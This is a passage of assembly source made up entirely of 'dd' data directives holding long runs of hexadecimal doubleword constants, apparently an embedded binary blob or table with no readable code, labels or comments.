8E0E468Bh, 711800DDh, 6773B82Ah, 1E1E1C52h dd 40C068D0h, 11E263CFh, 0A40B004Ah, 58D3C0AEh, 0F100ECC9h dd 47CE7874h, 3F4EFB8Ah, 91DDBE7h, 9E62C087h, 0FAC8B999h dd 2090EB30h, 88FE7Dh, 0C01A3EE0h, 0DD9E38ABh, 5D5CF200h dd 0DC701FE9h, 48F93056h, 0C272AE50h, 0A1570500h, 7FD5DD3Eh dd 0C88300A4h, 2BFBA581h, 0C11ED84Dh, 6A80787Bh, 0F3341AADh dd 8D1400E6h, 8EC0A00Ah, 0AE00F568h, 5FC51FFFh, 34FF611h dd 0BAF12A47h, 5B9A84EFh, 14752D60h, 390F2FE8h, 29D0DB27h dd 789C0081h, 1D620350h, 9D8BC056h, 8EED41B5h, 82DB25EAh dd 86D888D8h, 375CA05Bh, 102D22C3h, 8C838B89h, 12021E6h dd 6F27DCAAh, 0C853C00Bh, 8B3BF979h, 85698E9Fh, 60240EF7h dd 8EA74ECCh, 0BD4903C5h, 40E2EDA4h, 219404FDh, 0C3A93051h dd 194C1528h, 0D1038A4h, 0BE8E0049h, 714311D0h, 517D55h dd 9E9C4D13h, 0D43B8DB3h, 2D16C60Ch, 0F7210D7h, 0CB6E53E8h dd 0BE0DB8C0h, 0A900AADDh, 5D5568F5h, 3BB96782h, 17003AD3h dd 662FB5BFh, 8B077BDBh, 14FE85F6h, 0E8FAB8B3h, 0E8CA9143h dd 3E2C18F1h, 9497B8BDh, 42616E00h, 76E378D9h, 0C66A0F7Ch dd 27418281h, 0C4A5A1FFh, 0BC00DA8Ch, 78A2F0F1h, 63B13Bh dd 0E085476Ah, 0EA87B73h, 281E8D00h, 515F245h, 2FB60344h dd 91147DDDh, 0E3AA13D0h, 0A9E8A100h, 0D7EA278Bh, 0B7FE00AFh dd 0BF6B1F5Ah, 450B7CF2h, 8026F72Ch, 957E1822h, 1E760082h dd 0E7240688h, 0D701CA6Bh, 844BE3E1h, 0DEE81A52h, 0DF910037h dd 833B2FE6h, 660F2347h, 6025EDD9h, 0EBCC0393h, 3DA000DBh dd 0BF2648FBh, 0D0003750h, 0AF91274Fh, 1E05320Fh, 8051699Ah dd 0C6E24723h, 8100D468h, 757B7E95h, 0AF502Ah, 0FA9C91A8h dd 0EE9AB484h, 4308E00Eh, 64DBE365h, 969EE8BEh, 0C97B7Fh dd 6CE35CC1h, 7B1CFD8h, 0F8F12B00h, 0DCF33A1Ah, 0D98007Bh dd 1B25C231h, 2C16EC59h, 99005E6Ch, 5F89B23Dh, 3A1207B7h dd 610371BDh, 0C49A2A60h, 5B0039F7h, 63B34F57h, 0AA6AD8h dd 3D9D1F64h, 0A80F1AB8h, 77F82D01h, 76FA269Ch, 738761D0h dd 3E097CE6h, 9D87FE21h, 30A83642h, 0C98A20CAh, 11744C00h dd 5109DAE0h, 0EB550129h, 9EC58112h, 5718F0CFh, 0A031A02h dd 0C101AB4Ah, 2820A3F8h, 87D00DEh, 706B1806h, 93007C61h dd 0D8809DC7h, 131F3Eh, 83D6CEECh, 0B6DB18CFh, 7F00C2B8h dd 0F8B43BE7h, 0B56D7Ch, 0C8F5E4FDh, 8FD01F3Fh, 0F92C8D03h dd 0C8ED3BD5h, 1C6F8EBh, 0D4B194E2h, 605D761Ch, 8D0CADABh dd 2892A72Dh, 0DD4002CBh, 0B645E2CDh, 0C6042121h, 0B85D4707h dd 0F7CF9706h, 409AFC50h, 0D80F25D5h, 848DDC40h, 4306DDACh dd 1B382993h, 761D04CFh, 0AE47A2A9h, 0ED3C2148h, 0C522FEEFh dd 9B642FD8h, 5A4A0341h, 84507993h, 79925E31h, 9910D931h dd 50C0AD6Fh, 0C78B11A7h, 0E11522E2h, 8EA17560h, 565450h dd 21C6275Eh, 72F4880Ch, 0D9083207h, 7EB39D30h, 0D8D188FBh dd 33340099h, 0CCFEF8A1h, 0DE392F1Fh, 1AB300D9h, 1363C336h dd 59A60098h, 0FFCB05Bh, 0E900E5D8h, 30D3F3C0h, 9EFFDh dd 8860A86Ch, 91177048h, 3F014400h, 1EE79C73h, 0AE652h dd 0F86234EFh, 7435AFC4h, 94D7E903h, 0A8912A39h, 0FF1E257h dd 0B7A3FBF9h, 0DF0A9BE0h, 2E00EF1Ch, 1358C488h, 24A2CB89h dd 0C80ED1h, 0E62CE9C7h, 7E7367F0h, 23CE0700h, 0B5F204C0h dd 46011C6Fh, 732FC0F3h, 0C1BA064Ch, 455D5B00h, 0E64DAB1Dh dd 1917585h, 0A8C54192h, 0F4D4EA55h, 640C656Ah, 6823F66Fh dd 0E4F1C020h, 6DE6DB51h, 971DCD04h, 9DC0B840h, 7F88277h dd 9A108C08h, 0EB7C9984h, 9CED1A00h, 0EA6298h, 0F3838E94h dd 0DB68044Bh, 336186C0h, 7177391h, 3DB021D9h, 9AD55011h dd 725C4856h, 86751701h, 0A082490Eh, 2E1A9D89h, 15C0008Eh dd 0DAE32DD9h, 0E800F154h, 3BFC6532h, 39B2D355h, 0F4843Fh dd 175C7DCAh, 978ABA60h, 0E1094300h, 5518AC53h, 0F4E2007Ch dd 154C6FA8h, 270096B5h, 73ED469Ch, 0B61942h, 5C696D8Ah dd 0DCC96657h, 0B618800h, 7867A06Eh, 9A39034Ah, 26F18086h dd 0F5EF5EA8h, 7799F00h, 0ADA04E16h, 0EB9B00EAh, 5D53983Fh dd 217C440Bh, 0DC20B400h, 41652F9Ah, 845F00F6h, 0E2A6D907h dd 330003B1h, 0E513944Dh, 0F2C12Bh, 9B71D33Eh, 0BB6BAD17h dd 73F85Ch, 425CA479h, 7D0A73B3h, 85280036h, 4E6FC9EFh dd 0AE00FC61h, 53A18F82h, 0E02A98C5h, 0C49105E5h, 896348h dd 0CEE6ADCCh, 6D00BED4h, 0A6881C85h, 70181Fh, 4334B6F5h dd 7A9D42EFh, 0CCCE271Dh, 0AD544CC0h, 2D5BD63h, 29ED09B3h dd 0B5C04472h, 901483F6h, 0BCF880h, 0E4F37F97h, 2C3FEDh dd 8AA92DC4h, 1C95DC90h, 97161703h, 7EE4AB0Ah, 0C7BF0010h dd 93C28918h, 60242DD5h, 590FA4E8h, 5F9F2047h, 0EB851F0h dd 4BB74FA1h, 53D70780h, 9800A83Fh, 27EBCEB2h, 0F35E93Ah dd 80F05BEEh, 54FA9EC0h, 0D24EAC5h, 7809338Ch, 98A0287h dd 0F3EDC0DEh, 5574ACh, 0D884C35Eh, 907692F6h, 0A103E800h dd 1CD9AE01h, 7560BA0h, 1706F961h, 8F00A2F0h, 4A579682h dd 0B8DB37B4h, 2FCD00CEh, 352AAB01h, 0BA00F723h, 0D62E9C7Ah dd 631927h, 1577758Eh, 399AF326h, 8120EC00h, 70F09C23h dd 0CB6402AEh, 2529FCD6h, 71042260h, 0BE28CDF4h, 6737A44Eh dd 1AF05AFDh, 0DB753Bh, 5489244Bh, 981C5E10h, 0FC179901h dd 6019BB4Dh, 0A11DF8h, 93F6D945h, 0BD0D50EAh, 5B574F02h dd 609A11D8h, 0FC9134AAh, 35931E4Bh, 318EFAA3h, 21E3F32Ah dd 0C580821Dh, 7E00913Fh, 725522FFh, 1A8566Bh, 0E43C3BF8h dd 0C468D449h, 18002DCAh, 22A116D1h, 7665E2C2h, 252400B5h dd 1C4FE4DEh, 2E009B93h, 488690E9h, 3E385A89h, 9A801F05h dd 0D57DF1E3h, 967936E8h, 427C7000h, 0F387DBFAh, 201E0178h dd 0C486B429h, 76F44171h, 0B6C0F353h, 0DB00D107h, 98AC370Ah dd 723FD38h, 6667A2BCh, 1C44C04Fh, 0F404EF83h, 0F09B6F47h dd 0CC569EC0h, 0B38A0079h, 58541BA1h, 0DE00909Ch, 8106D1FAh dd 24A5A2A6h, 0B1074Ch, 6173E6E5h, 0E901885Ch, 8999F859h dd 0E4500B0Fh, 50477270h, 93D4CEh, 19151C76h, 0C3855865h dd 5C2E830Bh, 704F00EBh, 88A678h, 0AAF343BEh, 13F7E34Ch dd 83EC6D3Ch, 0BBB11191h, 8400CDE9h, 16CD335h, 0DF2E0119h dd 0D90B664h, 3B23C4C5h, 945A5000h, 7E84ABBCh, 0C0E40218h dd 0C6AA740Fh, 0E9DCED81h, 6442DAF6h, 0B07AA807h, 227315EAh dd 0D8D0651Fh, 0DEF7803Dh, 85474A75h, 4DC400D1h, 41CEB740h dd 11000533h, 0F4A629F1h, 0F239B4h, 4C95E108h, 0DB069F45h dd 0A5008C7Ch, 7B740AEEh dd 3A7FA4E8h, 260071C2h, 76DC55F2h, 8B091D59h, 0CA1E90h dd 0A3FC2FFAh, 7DE000D2h, 1608FFA9h, 0BA0028CDh, 732EEE90h dd 213929h, 4F88FE38h, 9073CE8h, 0EA49FA0Ch, 0ACB8CEh dd 11906EE3h, 5602B6F4h, 7DAF5100h, 0A02D4DEBh, 1297E0Bh dd 68ED1F44h, 0F4B3473Fh, 559862F8h, 9E46A00h, 7F7E445Dh dd 0BB580029h, 0FC5AAD16h, 79EC77CDh, 0DBE66600h, 36C768A9h dd 0DDF50041h, 3AE9B399h, 2A0074D0h, 51C20BFh, 0BAF155h dd 13E0C0FFh, 511BAD6Eh, 54A94400h, 7BF89D75h, 2DEB00BEh dd 9424C209h, 0B1035A2Fh, 745F304Dh, 41DAF8EEh, 6EA8009Dh dd 0D8DC7D6Dh, 0F70EA607h, 0C08EBCE1h, 9C35F59Ah, 3C9D0047h dd 149FDA05h, 0AF007882h, 26338109h, 0F811885Dh, 7DFCE9B6h dd 19D30B0Eh, 0E8835124h, 0BFA83007h, 2C006D01h, 6DF2A8Bh dd 1FF043E8h, 0C073E07Ah, 461DD76Eh, 4F487795h, 74842CD4h dd 0D5186300h, 0F9EE61h, 168BEF09h, 0C286D0FEh, 5FF37700h dd 6261121Fh, 0C5E8E2h, 6D31B6EFh, 0F7D2C8DDh, 0CC9BC302h dd 0C09D17BCh, 0D0AA40h, 8DF4278Ch, 66967E6Fh, 80DD5B3Ah dd 0B79B8B4h, 60342CEh, 0A7E0DA58h, 0E800F823h, 0DD19342Fh dd 0F315AAh, 8A9889F8h, 81DE2CB0h, 3A17E900h, 2103142Ah dd 4F8C07CCh, 0A0BB35FEh, 7BC83D8h, 2648E300h, 20308729h dd 0FE8102E0h, 32FC7EC4h, 0C9E5E860h, 0D4BAC0Eh, 0E389C025h dd 391EB7BDh, 6180A154h, 84810880h, 21FE669h, 0EC803866h dd 1541E43Ah, 0B9100351h, 0F28BA144h, 0BF83C1AFh, 9917E407h dd 0A2BBA500h, 60D9EC37h, 23C800A8h, 6E1C3F67h, 71009E97h dd 0A036F894h, 6DEDFDh, 576E3A7h, 7CBBD07Ah, 8E844300h dd 6F65F5DBh, 78030317h, 0EEF75F08h, 4C045988h, 0FD03707Ch dd 0D897AF44h, 0C59080A4h, 4EB43DF0h, 7369FB80h, 30DE6274h dd 94722F00h, 54788EFh, 6CA80258h, 0AC31E32h, 7411C760h dd 508B4503h, 0B004DA1Bh, 6F3206A8h, 3BA0D4C4h, 1731BB19h dd 46BAC900h, 0FBF81138h, 0F37978h, 84954069h, 57B09096h dd 1423A800h, 593E8BBh, 9AD90068h, 0EC4C5462h, 1100B5B3h dd 6DE6CC2Ch, 7527C7DAh, 3ED71F7h, 1456AA5h, 66E85B76h dd 0C500171Eh, 0D6F25149h, 0E0625Eh, 0CF538FB2h, 5A30C85Dh dd 13238E01h, 2B7E3CDCh, 0EC40C5E1h, 3D5E5806h, 6D00A676h dd 2EB7655Ch, 0EF12E05Bh, 7888E322h, 2CC2B04Dh, 9A92Fh dd 0E3FB2E23h, 0F6002B26h, 0F7771110h, 3E7CECh, 0BD2C57F2h dd 4A3DF879h, 38C29C48h, 10A5007Fh, 55437281h, 15C20A45h dd 0D04903h, 9FCF374Fh, 3424529Dh, 3C0059CDh, 13D2AEE5h dd 0CAF6262Dh, 0E02EDAh, 7C881115h, 0AA78EB67h, 0AB2EEF75h dd 0A00EBAFEh, 9651875Ah, 74D2FAC0h, 23A5004Fh, 0D380F71Eh dd 0CD01758Bh, 0AB3A5190h, 5EE0E085h, 0BA1F0039h, 0B5AA5F3h dd 0DF1343D9h, 3B7423h, 0F6875A82h, 70902825h, 12B41642h dd 636F2Ch, 3D651B64h, 393141E7h, 0D21E1859h, 8804C4h dd 8ADA832Fh, 7B27A2DBh, 0C51CFF00h, 3C77F35Dh, 327230h dd 185FDB4h, 0F8B38D11h, 13357C00h, 886A7BDFh, 3187D57h dd 0FF548724h, 288F74Fh, 0A60060BDh, 66DE5B1Ah, 2C49C3CDh dd 15F9ECBh, 0E97457ABh, 0D07BF45Eh, 6B675800h, 0DE318C08h dd 2E3001Eh, 0BB69DBE5h, 0B8000756h, 122B712Ch, 0ECE6758Dh dd 3A4B00ECh, 0C1A11EAFh, 45000AADh, 92688032h, 26CB9C4h dd 6F5A99F2h, 20601A89h, 4B0037B3h, 0C4D70138h, 7F4F4312h dd 0EFE828h, 2A724DEAh, 0AD9D0AF4h, 84A47D00h, 9F28AFFCh dd 947C3FAEh, 0CC893339h, 0FA0041D9h, 0EE8B1773h, 5B3878E0h dd 99B307D0h, 0DA472EE7h, 8A491830h, 162600EEh, 6AD65CF3h dd 8C009339h, 0B02131AEh, 3FFDFF01h, 72805143h, 0E7D08E58h dd 90005AB9h, 31559D63h, 31D1054h, 77342E7Bh, 6AA81A8Fh dd 0C638DA2Fh, 89918EE9h, 40FE0BBh, 0BFA731Fh, 3F50B171h dd 0FFCCB2h, 0BAB4C603h, 0E1EA3A55h, 0A738CB00h, 1CD0AF3Bh dd 0A0CECC2Ch, 2521E701h, 1030ACAAh, 423008F0h, 609BA68h dd 0F900E551h, 5832F21Eh, 8019E248h, 5F00AF62h, 0A96909F5h dd 0E62B72F2h, 0CF850B7Eh, 3C805A4Eh, 0EB023730h, 3812DD01h dd 47F3E744h, 0AD4BF0h, 3A1DA6BDh, 619F2656h, 0D390700h dd 8F99F1ECh, 9396289Ah, 0A2E8BCh, 0E8EE030Bh, 0F8B9D71h dd 0C174010Bh, 501420FCh, 1EBCF7h, 8612543Eh, 0E49CF3B6h dd 1DE6FC3Ah, 7A80F92Dh, 0B0DDC4ADh, 60DE0026h, 8DF13985h dd 0C8007302h, 0AFD780D5h, 3157827h, 0B1C5D2DEh, 19D8827Ah dd 4B0005CFh, 3F022D77h, 1D61CA3h, 0E91FE297h, 0D9D5CD51h dd 8503CE7h, 802D84C0h, 0A272BAA0h, 1F3FCF17h, 560F80E1h dd 0E860AC97h, 19070EAFh, 48A3B736h, 31F00E9Eh, 0FF00F7FEh dd 8CE5913Dh, 0BEFA0D4h, 9843841h, 0E9264600h, 0F8E580D2h dd 0A85CFAFDh, 8F110311h, 0B9DE5228h, 0ED0840Bh, 0BE4E07C8h dd 20DD7CF2h, 0BDDB854Ch, 67C65E00h, 7A7D482h, 5C910F9Eh dd 0B64AD00Fh, 2C80A5C8h, 0C0D75C9h, 0FCABC3Dh, 0BCEE924Ah dd 0E4E98900h, 368C6F1h, 41205A73h, 5BB1DD10h, 0C994FC37h dd 0F578AB00h, 18CA2C3Bh, 71B5009Ch, 5679B98Dh, 421D727Ch dd 1C425512h, 60816AD1h, 0B5EEE9h, 0CD3F083Ah, 5791A5CEh dd 103101Eh, 16A840C0h, 3B6289B0h, 8519D059h, 70C02093h dd 0D600CB70h, 974C5640h, 0F11224h, 0D0813D8Fh, 0F54AFF77h dd 0A9D5B400h, 134BA107h, 0CF160006h, 6EF4ED54h, 0E0FD9D8h dd 823D1BA4h, 0C262798Dh, 0A87ACFh, 8C26DE01h, 78844938h dd 0FC947701h, 935498F8h, 4C033833h, 0A528E3D5h, 0D9E71607h dd 0B9202C69h, 0E680859Eh, 99EE0E07h, 72805066h, 0DFD4CA4Ah dd 19B7F703h, 80272E9Bh, 15F3928Eh, 907A7FE7h, 0D9284B00h dd 51457BE2h, 8BA5A901h, 2B3DF373h, 13573424h, 900125h dd 0EAECCE40h, 4271F597h, 0CDE3AC07h, 0D9808BC4h, 4072Dh dd 9348DA72h, 20990179h, 69BFD700h, 0C6D9C02Fh, 0DAA50046h dd 0D8E40EE1h, 0BB28DCB0h, 2305941Ch, 4A4335A1h, 0E0F55780h dd 95CF17BFh, 0D90000E4h, 1EF296C5h, 8A097B04h, 14D1BAEDh dd 24CC85D1h, 817300F4h, 0E2185B28h, 7E00059Bh, 64CA10D8h dd 9D45DDh, 0AA6AEF3Bh, 6636F7CEh, 920B200h, 0F2A57AE8h dd 0C2B40074h, 0B0241F19h, 790E1D84h, 0C9350B43h, 0A598603Ah dd 0FF75002Ch, 46981061h, 7B00C1DDh, 0C393199Fh, 1CAD0703h dd 0C55A1137h, 80A2C071h, 59E1CC3h, 0DD78A007h, 0C0DFF82Bh dd 3C45ADB6h, 1EAE0033h, 0B56AEDA7h, 7B0073E7h, 2CFEC04h dd 0F52C570h, 2B58C666h, 0D2BAB2E0h, 0EE00919Bh, 4AC7BDAh dd 0EF54F6h, 482059CCh, 10A0C12Bh, 81AAED00h, 9A75E9D8h dd 331800F5h, 0A6789FD5h, 0F000D7AEh, 2B9A06Dh, 1C808CDh dd 0E5BC663Ah, 0D064287Ch, 0EC079004h, 5D48C4DAh, 21359B10h dd 54D000B4h, 0E63E6129h, 24008523h, 1AA93FB5h, 0BDF747h dd 9C2F10AEh, 0FD9B7695h, 910F73EEh, 0A0A26D67h, 0F76501C5h dd 71A1098Fh, 6C0059CDh, 0C4F85340h, 789C1012h, 76EAAC00h dd 76ECB34Ch, 1FBC0045h, 755258FEh, 0AB00C6C0h, 200D7648h dd 12CD03h, 8AA60C78h, 0FFF0BF70h, 0CAAC3309h, 1F1C8FE2h dd 444FB7C0h, 7DABF8h, 9FFF71C7h, 0C98E6CE7h, 721FE300h dd 0B3DC4697h, 0DA78000Dh dd 623D6B3Ah, 0A63A8BCCh, 38E5825Dh, 0E0CEC302h, 0EA287BE4h dd 2E6B0311h, 8427E868h, 62ABA6F0h, 0F376EC00h, 4FDF5833h dd 32C9871h, 0CAFFF25Dh, 67AF2EA0h, 8064F03Ah, 0CC00721Eh dd 2740215Bh, 1CD9CBh, 0D0816B3h, 6D99A176h, 0FC98BC98h dd 4E275600h, 498C5110h, 6290002Dh, 0E080F434h, 0ED0F1412h dd 0E09B3755h, 4EC6CCEh, 0FCF7674h, 0CD5A36F0h, 6FC0E2CEh dd 9EBD0D4Dh, 0D6176E0Eh, 24C03C35h, 412E483Bh, 15E0A2h dd 208DB509h, 39C26890h, 0A5D55Ch, 70988817h, 104E8h, 0C5FD1AE4h dd 2A6EC72Dh, 16178100h, 0B7F52560h, 82BB0057h, 0C5657006h dd 2400103Ah, 516147EBh, 1D17E1ACh, 7EAEA952h, 3CB7D400h dd 0C098605Fh, 23493400h, 38C6061Dh, 48970008h, 3F809D37h dd 0C239BA7Ch, 0B82700A6h, 9BFCB5DBh, 57BC00C7h, 102C0CE7h dd 7C00F791h, 0A28F89A4h, 0E464FAh, 79623769h, 30260798h dd 61423B0Eh, 6CD980A8h, 0E767D6h, 4FD38065h, 1F598C16h dd 0E000C1F0h, 0ED2ACBABh, 6C0A0Bh, 0F2589FC9h, 3EF61663h dd 2755BE00h, 0F1921DAAh, 0D1C0030h, 0F4296E0Fh, 0BE0018C8h dd 0F8D0F237h, 0E85C733h, 0A782C292h, 0BD94E980h, 5300441Eh dd 6C811D37h, 48FCD34h, 0EC91DD16h, 45848071h, 0C200B532h dd 5678FA1Ch, 4C57A342h, 231C7CBCh, 7109DD0h, 70AC7644h dd 0A88A5D56h, 0B165CB00h, 2FCC8FDCh, 0C5BF0062h, 0FB0C86CEh dd 6B005CC6h, 0E3FA51F1h, 612B7Eh, 35B6251Fh, 82D10F22h dd 2E15B07h, 0A9D0E663h, 0E82167h, 3B9ABB28h, 7F34B40Ch dd 1110F81Eh, 0E040905Eh, 0C5B25150h, 0E231033Dh, 6F167C8Dh dd 0B002F1C0h, 86FA2200h, 0F3515894h, 179B0049h, 8935D738h dd 8800ACB4h, 2413B5E7h, 0A77DD0h, 0DF4E11BCh, 0F7D902B6h dd 41F8D8E5h, 0FB1E2172h, 0B28310CAh, 9042EE3Fh, 53D585h dd 0CB971DB6h, 18A67BB0h, 8022BB3Eh, 929609D3h, 0C313Eh dd 823FE167h, 20A52E12h, 9BA72800h, 91D3D44h, 5F4E001Ch dd 0FC8D06A6h, 0E3F8AA7Bh, 65002DECh, 0E90B5C7h, 75F3D9C6h dd 1DF0A3h, 8ADA1324h, 36E33CDEh, 0DBBEC000h, 0FD89CC37h dd 387F291h, 0B2A77B58h, 0CEA75A6Eh, 10611C87h, 7AE5B68Ch dd 8BBF9500h, 87FEF3C7h, 92A300A9h, 58B04942h, 24384E65h dd 0E8B39E57h, 9E2B5680h, 2E142F6Fh, 30F90Ah, 613BFA75h dd 4DF0B513h, 0D2386601h, 9E704F60h, 1D78260h, 0CD7E996Ch dd 0D4896D73h, 0B100B54Eh, 7F1E84D9h, 0D25BFBh, 52AEE019h dd 3F9644B0h, 0F58D6201h, 0D44A354Dh, 0F4D85AD5h, 4CF0045h dd 0F8471F9Ch, 0F63FDF14h, 21D080DDh, 0EBE49E7h, 1C22700Dh dd 0C01AFD23h, 0AC957D9Eh, 7004CBBh, 2232CBC0h, 1F4E5466h dd 40EE1462h, 3A06ACDAh, 0CF09843Fh, 709FDCh, 7E5793Dh dd 0B7A82C8Fh, 0CB8700B8h, 0B986CABDh, 7941FD07h, 0A0AEC966h dd 903FAF58h, 0B47C3Ch, 5750BC2Eh, 19F8D754h, 1700CE72h dd 222AF17Eh, 2F1AE6h, 0B1A746C4h, 92B9686Ch, 40E3400h dd 0E65562A9h, 0C673007Eh, 9F9A4EE5h, 3D008D48h, 0AC6E0DC7h dd 2F1CA4h, 0AE57D73Ch, 937DB033h, 4FCEE300h, 42C7504Eh dd 0B749000Fh, 77A7B64Bh, 57FCD07Fh, 68915930h, 2BAAF2h dd 0CAF1A2E7h, 0A92899CDh, 62ECED00h, 3A2FFF58h, 24BC00D8h dd 660EE52Bh, 8000935h, 0B18E7D84h, 1C71DBh, 0F7973BE3h dd 4E1BC90Ch, 0E74FAA00h, 2F87D462h, 2431000Eh, 51DF3BBCh dd 0C2006B64h, 4202447Fh, 0E09179h, 80A2D1DDh, 0A44DF488h dd 61309F00h, 0D5EE600Eh, 1EEC0072h, 0D284436Dh, 0D82457A1h dd 58002881h, 697C07ABh, 837E01E5h, 66B6477Dh, 0D299DC2Fh dd 14CC3600h, 0FB3C18C5h, 0E973A5h, 3352AADDh, 243B9149h dd 31018BE0h, 0E86C62EDh, 51C81570h, 0C10D0061h, 5B60F3DAh dd 18004E5Ah, 0A37EEEDDh, 0E3BAFE9h, 0DAE3A2B0h, 0FA438CE4h dd 0CC359500h, 0E7A63D1h, 58CD4602h, 0DBC29EA0h, 0C00EEEC7h dd 0E14CE9ECh, 6511B0D1h, 29B9C4h, 9D380C22h, 347233A9h dd 1DE0553Fh, 0BF2B12h, 0E9DDD0ECh, 0EEB7CCEBh, 2AB0054h dd 89323850h, 0BC3C6087h, 968D8B69h, 1AD201E6h, 68E854D2h dd 4AEF38A3h, 0F3D7FE80h, 14511241h, 88352900h, 2E70567Dh dd 0C0790010h, 0B53F2224h, 1A1D6930h, 0E39759F4h, 0D4209D00h dd 7E894399h, 418A00F3h, 0BCA6263h, 7E2848ECh, 0FB00CDA4h dd 0E39F098Fh, 7B0B1AFh, 5593DDD1h, 0A2600017h, 0C00E6E7h dd 8C06C9FCh, 70B71Dh, 9BC2B49Ch, 0F42DB2E4h, 2B9AE30Bh dd 182A00CAh, 4B3433Bh, 551C0437h, 5A75802Eh, 0DD00DFBBh dd 21741201h, 0E2FE99h, 0D94EB654h, 0B21DF738h, 1168F600h dd 55A3D26Eh, 517E0F9Eh, 0C940BF15h, 0CA47996h, 3F7ABB00h dd 0A53DF306h, 6075003Eh, 596F1C0h, 4000B011h, 0A114DAE6h dd 0F60F82h, 2E801E36h, 6A7EE05Ah, 95B1551Fh, 0DC0BC9Dh dd 26293C57h, 0B33000D3h, 5F7348FBh, 9700FEE1h, 5D46935Ch dd 155A5591h, 0E461ACE9h, 0DAD9EC7h, 5F924060h, 7900CFD5h dd 8B2777E0h, 1C8DCECCh, 40A11844h, 0E9C9D4CBh, 0E42EB325h dd 84008CD0h, 0C1721440h, 0FDF5482Eh, 0A3469600h, 6EB8A47h dd 35A105Ch, 6CBD2DF2h, 26DAD15Ah, 73B0F3D0h, 2F3300C5h dd 0D5E0E8D9h, 0A100810Bh, 0F148F37h, 26D8E1B4h, 3ED0293h dd 2890B35Bh, 7E20EAF8h, 0B004C92h, 6BBED38Dh, 7D46FDAAh dd 0E54F014h, 99449DC5h, 387F1260h, 0A30FB2EDh, 820A09F5h dd 0E0F9DD01h, 3B8ACh, 0E89418DEh, 0E5A6D3DBh, 887CCC01h dd 0F679EF7Ah, 39010C22h, 40955398h, 43A05021h, 1E015D13h dd 854ADDF5h, 0C0FED9CDh, 27867Dh, 0BB6842D3h, 0B6FFAE19h dd 6A30CC0h, 4CC75E23h, 7200A1CFh, 0D2BFFD8Eh, 0B300D652h dd 0E412B6FCh, 772E34DDh, 0FCEF678h, 0A0350C87h, 0F25ABF60h dd 0F600EF4Fh, 4AC5CF44h, 171D213h, 7C82987Eh, 0F4E434CAh dd 0F1052439h, 0F9A8C3C0h, 0B86A2AC3h, 4D745h, 53BC3718h dd 0FF695224h, 73E0D800h, 0A1B7B8EBh, 0FA1107F1h, 0D0982AFEh dd 842ECD91h, 442C0B00h, 0BE9C065Eh, 2710Dh, 82503960h dd 0ECEE914Ch, 9659A13Fh, 0D2024F23h, 0C065F161h, 3A816Bh dd 0B0F76947h, 7A298C8Eh, 0A985CB00h, 0CDD67828h, 0E73D0016h dd 0F6D0BA52h, 0D27527F4h, 1287E007h, 31B00BF7h, 1D262C09h dd 0A0B457h, 6F33F8D2h, 0CE006999h, 3539A376h, 9C7C2Fh dd 56514E13h, 0BC272C78h, 0EDC6B100h, 0D301EC3Bh, 3F880008h dd 819B66C0h, 3500F063h, 0B5D53E7Ah, 0FA4A564h, 7001F28Eh dd 80CD4FC2h, 12A8EDE0h, 22EB2500h, 51BB2D93h, 3F5CF2B8h dd 839FCBBDh, 0D8A1413Bh, 0DC97AA38h, 15E88F7Ch, 3B99A024h dd 911D4107h, 6D1C49B0h, 0D2F8079Ch, 3094A1FDh, 6527B2D1h dd 3E75CFE0h, 0B0219E00h, 9D0853A6h, 0F40A7BD6h, 0E47D3FEBh dd 65F3EA80h, 0F791B9F8h, 7C53A507h, 41309F50h, 0FC3C425Fh dd 0F2400004h, 16A3AAEAh, 550ED20Bh, 0C00A4929h, 47667444h dd 0FE560097h, 0E89ABE1Bh, 7F00F9BAh, 495E3D08h, 4348F1h dd 0AF321CD8h, 76651A0Dh, 0B090C705h, 0BBE198h, 26731FB0h dd 5107B9C0h, 955BEE74h, 0C0B66172h, 3843004h, 6D3E4CE2h dd 0A0C882B0h, 8B002F9Ch, 76BAE9F9h, 2A3135h, 30E57ED7h dd 342DD3B2h, 43B50500h, 0C59F75Bh, 70BDE0A5h, 4CB200E8h dd 4957BF2Bh dd 8E783E36h, 0B5D34300h, 9AE2A3E6h, 0C07485h, 0FDDA8FA4h dd 4199E0Dh, 46205001h, 9BD7760Ch, 5CC491C8h, 0D300F63Eh dd 382213DDh, 79003272h, 78673F54h, 20ADE5h, 4FCA3EFEh dd 0D7199DA1h, 70552207h, 7F2121CFh, 0A8303227h, 9AD500A9h dd 8AE7FCB1h, 5600C464h, 47898349h, 0F8AEB523h, 0AFF90A8h dd 0B41172EEh, 0D81F00BBh, 0F21EE49Dh, 0D9BCD51Eh, 0E0E2F6CEh dd 0EFB4CE89h, 0AE280060h, 0D4AB6613h, 3E76611Fh, 0CC53A00Eh dd 0F63A60B4h, 0E214349Eh, 298400B2h, 0A2C05CD1h, 9102457Fh dd 6B58B640h, 0CB89E080h, 6D380007h, 14529E0Bh, 12008818h dd 37FAFE85h, 4671ACh, 0F4CA02Dh, 17143C63h, 2894C701h dd 30267795h, 96AB30h, 0A93BC33h, 0F43EC246h, 9221941Eh dd 0B82C9E00h, 8647E4h, 818DE82Eh, 59C95ADAh, 960EF300h dd 0A282DEA8h, 8F041FC5h, 1C6280BAh, 9DE4F23Eh, 0EE383079h dd 0F800FAE1h, 67C0CB6Ah, 140332h, 4CEB28C1h, 235F18B8h dd 0E3DA5800h, 0F642FB7Ch, 0FC71063Fh, 0A8B0AF93h, 6777A200h dd 56EF32Fh, 0A034B0D8h, 3C6CC241h, 8780381Bh, 0E4F40B5Dh dd 0A60071F0h, 10A25FDh, 4BDAF7h, 0DF18F9B7h, 5ED77B3Ch dd 26A4DC0Fh, 7D083A3h, 89AFA04Ch, 9617017Ch, 2F7D8750h dd 3129D843h, 0A1B89B77h, 0FCBD401h, 154D5607h, 0C300BF8h dd 7D4E1A22h, 1105AA38h, 6CA12897h, 460FBDC0h, 0B90200D4h dd 0F969D2C3h, 6500222Fh, 16772C17h, 73D01h, 58DFEDDEh dd 0BBF5C6EEh, 0AEE41B1Eh, 0F9F6A0Bh, 0B1B08021h, 3AF748h dd 9598DBBCh, 4C08AF94h, 6FA66700h, 31709019h, 9CCF045h dd 0BD448EDBh, 89221A00h, 3200AB4Fh, 0A7B5351Fh, 8B9D56h dd 0A6F16C07h, 0AB8608D6h, 0ED27B104h, 7EC0AED9h, 7A4E724h dd 92439B9Ch, 0ABB1B04Bh, 13397CBEh, 329D80E5h, 417F3B0Ah dd 4D461C76h, 0ACAA03D9h, 20F83411h, 1F03B656h, 0C3806A08h dd 7516D048h, 904060EEh, 67C83447h, 0E100B47Dh, 0A5FF037Ch dd 1A9526h, 47E01CCFh, 40EF3ED6h, 0D9B7E730h, 1B012F5h dd 